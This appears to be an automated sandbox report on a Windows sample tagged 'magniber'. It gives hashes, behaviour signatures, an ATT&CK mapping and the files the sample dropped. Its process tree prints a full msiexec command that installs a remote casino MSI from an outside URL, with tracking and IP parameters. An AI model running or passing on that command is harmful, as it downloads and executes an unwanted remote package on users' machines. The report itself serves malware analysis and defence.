6a542db5d7add8b9c3e285ac02be92d29226c83d4af4d61fec4db9c51679b446

General

Target

2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe
Size

1.4MB
MD5

b26466fa02abf477825ee2910580195c
SHA1

848d134cbccc05785f25d1624cc1ffd546ff7a8f
SHA256

6a542db5d7add8b9c3e285ac02be92d29226c83d4af4d61fec4db9c51679b446
SHA512

14a006d7b873865a896be94c67ab0922174959db52f38faf64f72251ded254ad1517ac9044431000c9d261f6c20dd64ad3b0b7387a143ed93442490e0a05a965
SSDEEP

24576:kaQ8fpGHPMxWa8OXmqoKKCBxC73UC849wbOjTFUHAiGos5s4aEhNkYcV3MB:kajsHPCWafmLcxCTUc9wbOjBW41hN+tU

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2300	~9g250iuitr.tmp

Loads dropped DLL 1 IoCs

pid	Process
2692	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
2256	MSIEXEC.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	~9g250iuitr.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIEXEC.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2256	MSIEXEC.EXE
Token: SeIncreaseQuotaPrivilege	2256	MSIEXEC.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2256	MSIEXEC.EXE
2256	MSIEXEC.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2300	2692	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe	30
PID 2692 wrote to memory of 2300	2692	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe	30
PID 2692 wrote to memory of 2300	2692	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe	30
PID 2692 wrote to memory of 2300	2692	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe	30
PID 2692 wrote to memory of 2300	2692	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe	30
PID 2692 wrote to memory of 2300	2692	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe	30
PID 2692 wrote to memory of 2300	2692	2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe	30
PID 2300 wrote to memory of 2256	2300	~9g250iuitr.tmp	31
PID 2300 wrote to memory of 2256	2300	~9g250iuitr.tmp	31
PID 2300 wrote to memory of 2256	2300	~9g250iuitr.tmp	31
PID 2300 wrote to memory of 2256	2300	~9g250iuitr.tmp	31
PID 2300 wrote to memory of 2256	2300	~9g250iuitr.tmp	31
PID 2300 wrote to memory of 2256	2300	~9g250iuitr.tmp	31
PID 2300 wrote to memory of 2256	2300	~9g250iuitr.tmp	31

C:\Users\Admin\AppData\Local\Temp\2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-12_b26466fa02abf477825ee2910580195c_magniber.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Users\Admin\AppData\Local\Temp\~9g250iuitr.tmp
  "C:\Users\Admin\AppData\Local\Temp\~9g250iuitr.tmp"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\SysWOW64\MSIEXEC.EXE
    MSIEXEC.EXE /i "http://clatz.fileslldl.eu/client/pkgs/slotsjungle/Slots Jungle Casino20140916105248.msi" DDC_DID=2581860 DDC_RTGURL=http://www.filecdn.eu/dl/TrackSetup/TrackSetup.aspx?DID=2581860%26filename=SlotsJungle%2Eexe%26CASINONAME=slotsjungle DDC_DOWNLOAD_AFFID=50002 DDC_UPDATESTATUSURL=http://190.4.91.3:8080/slotjung/Lobby.WebServices/Installer.asmx CUSTOMNAME02=redirectAsData CUSTOMVALUE02=1 CUSTOMNAME03=remoteIP CUSTOMVALUE03=87.245.197.192 CUSTOMNAME04=name CUSTOMNAME05=email CUSTOMNAME06=redirect CUSTOMNAME07=version CUSTOMVALUE07=100 CUSTOMNAME08=camefrom CUSTOMNAME09=adid CUSTOMVALUE09=NULL CUSTOMNAME10=affreferrer SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="~9g250iuitr.tmp"
    3⤵
    - Use of msiexec (install) with remote resource
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_isB8F8.tmp

Filesize
1KB

MD5
923e0a6f24310d22e84488ef0c9e5fe1

SHA1
1d70192e68db4e7615d22f884ba0ccadb24c916a

SHA256
7d6b5c57ed93b582ce75edbc15629f1cb0a236b3a04e7204dd701366aea20c99

SHA512
3861b4e5566777b2caea3317d4a359744283be5a7c7996cfbf6544b3045e0ea5854fede73988fbefaf0b9e58f66adaf593486fb7e3fb9ceb05f2f7c571880870

Download Submit
C:\Users\Admin\AppData\Local\Temp\{D40EF785-2ACF-4D9B-9738-1457F8D986C1}\0x0409.ini

Filesize
21KB

MD5
be345d0260ae12c5f2f337b17e07c217

SHA1
0976ba0982fe34f1c35a0974f6178e15c238ed7b

SHA256
e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3

SHA512
77040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff

Download Submit
C:\Users\Admin\AppData\Local\Temp\{D40EF785-2ACF-4D9B-9738-1457F8D986C1}\_ISMSIDEL.INI

Filesize
20B

MD5
db9af7503f195df96593ac42d5519075

SHA1
1b487531bad10f77750b8a50aca48593379e5f56

SHA256
0a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13

SHA512
6839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\~9g250iuitr.tmp

Filesize
1.2MB

MD5
606809cba8563aec2959a16fb59f0768

SHA1
eaa6d755b17a1f26f75a2e143e9f25e915bbaeda

SHA256
86824f46d3dc72ce864e5532b7cf08e2158bcc410331a79bb8426340fbbeea65

SHA512
a3c423ca43cd9308a325bd67d19d557fb1e37cb5f67c2fc0da3962974a60854f955390b5676c761bcd4c57fcd34ebb74d35f7fa4004f7656bda1da2c82690ea2

Download Submit
C:\Users\Admin\AppData\Local\Temp\~B8F5.tmp

Filesize
6KB

MD5
d3c8aeac49a238b97133893769e6d22e

SHA1
34323da12f00787916475a34c72bf71d02243d7b

SHA256
5969c43a8328b34429aeb29b3ba61ee565826f2ee688c2e775fdec74854f457e

SHA512
cb55b6c4c918afce0aea951bc77068de6d74d7c0c131ceb6c68fb313dfdc970d0446692c6565dc0537184078a604d38c6a6765064f358d39881d36d47e49428c

Download Submit

Analysis

Sharing